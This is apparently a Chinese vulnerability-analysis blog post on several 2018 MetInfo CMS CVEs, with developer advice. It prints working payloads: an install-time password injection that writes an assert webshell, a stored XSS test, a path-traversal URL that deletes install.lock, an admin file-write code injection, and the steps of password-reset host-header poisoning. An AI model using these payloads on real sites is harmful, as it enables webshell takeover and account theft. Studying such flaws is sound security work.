最近在seebug上浏览漏洞，发现metinfo爆出了很多危害很大的漏洞，然后看了一下cve列表，竟然还有这么多，既然这样那就开始跟踪学习起来。
伪全局变量
首先metinfo在全局都使用了一种对传入参数进行封装的方法，也就是伪全局变量覆盖，下面是核心代码：
这也是我在之前的文章中提到的，在开发中多封装一层的好处，可以在很多地方避免因为没有过滤就拼接数据到sql变量中，导致的sql注入，这也是给大家在开发过程中需要注意的地方。
CVE-2018-7271、CVE-2018-12531
首先是两个安装时候的漏洞，也是在安装的过程中，没有对输入进行过滤，导致了任意代码注入，写入webshell，跟了几个cms，发现很多cms都存在这个问题。下面简单贴一下代码：
可以发现，并没有对输入进行检查，直接拼接写入了文件，造成了漏洞，下面实际测试一下：
安装时输入的数据库密码为payload：
pass = "*/assert($_REQUEST[w])/*"
拼接之后代码为：
<?php
/*
con_db_host = "localhost"
con_db_port = "3306"
con_db_id = "root"
con_db_pass = ""*/assert($_REQUEST[w]);/*""
con_db_name = "metinfo"
tablepre = "met_"
db_charset = "utf8";
*/
?>
然后访问/config/config_db.php即可获取webshell。
CVE-2018-7721
这是一个前台的反馈处的xss，可以在没有登录的情况下，直接xss到管理员，从而拿到管理员cookie，作为管理员登陆。
首先找到feedback的代码逻辑控制器/app/system/feedback/web/feedback.class.php：
只是简单的代码入库操作，然后找到管理员查看反馈的代码控制逻辑/app/system/feedback/admin/feedback_admin.class.php:
看到将用户输入从数据库中取出来以后，引入了模板文件，然后跟进到模板文件中查看是否有过滤：
看到整个流程中并没有对代码进行实体化转义等过滤xss的方式，因为xss变的很简单，我们简单做个弹窗测试
<script>alert('/xss/');</script>
然后管理员查看反馈是触发xss：
CVE-2018-9934
这是一个比较有趣的漏洞，这并不是传统的web漏洞，而是一种类似于钓鱼的中间人攻击方式，要利用这个漏洞首先要知道你要攻击的用户的邮箱，然后密码找回功能，通过篡改请求host头，从而将发送给用户的链接中的host更改，用户点击之后，黑客就获得了用户的密码更换token，从而更改掉用户的密码。
攻击手法为：
在metinfo点击找回密码，然后输入要攻击的用户的邮箱，
然后用户收到钓鱼邮件，当用户点击以后
成功接收到了用户的密码更改链接，然后
就可以成功改掉该用户的密码。
攻击流程大概如图：
CVE-2018-12530
这是一个任意文件删除漏洞，可以将安全后产生的安装锁文件删除，然后利用安装时的代码注入漏洞getshell，看来这两个漏洞的组合拳还是很多的。
首先可以看一下payload：
/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/install.lock
然后跟进到代码中看一下：
可以发现并没有对传入的filenamecsv过滤，直接读了这个csv文件，然后读取完成以后，采取了unlink操作，也就导致了漏洞的产生。
CVE-2018-13024
这是一个后台的getshell漏洞，可以造成任意文件写入，算是很危险的，下面具体跟踪一下文件写入的流程：
产生漏洞的位置在admincolumnsave.php的大约32行的column_copyconfig函数：
首先在进入这个条件的时候，还是比较好进的，没有什么必须满足的条件，然后跟进这个函数
其实这个函数中间的switch可以直接略过，因为最后还是会带入到下面的Copyindex函数中,而这个函数就是文件写入的关键函数：
可以看到，这里直接就将函数的第二个参数写入了文件，这个参数追溯起来就是我们之前的module变量，于是整个数据流程就变成了：
所以我们在管理员登陆以后，构造的payload是：
admin/column/save.php?name=123&action=editor&foldername=upload&module=22;phpinfo();/*
然后我们只要访问/upload/就可以默认访问到写好的shell。
一些设计不当导致的小问题
还有一些cve是关于跨站请求伪造的，这里就不具体分析了，因为这样的点真的很多。
因为整个cms在设计的时候，后台没有采用csrf的防御机制，所以攻击着可以很轻易的构造恶意表单，然后通过钓鱼的手段，使管理员访问这个钓鱼链接，然后csrf恶意表单就被触发了，从而完成了很多只有管理员才能做的操作。
下面贴一下csrf的攻击流程图，方便新手理解；
这也是在开发中应该注意到的，csrf的防护是必须的，现在很多开发框架都已经默认启用了csrf-toen的防御方式，虽然不能完全避免csrf攻击，但是能让攻击的构造变得更难。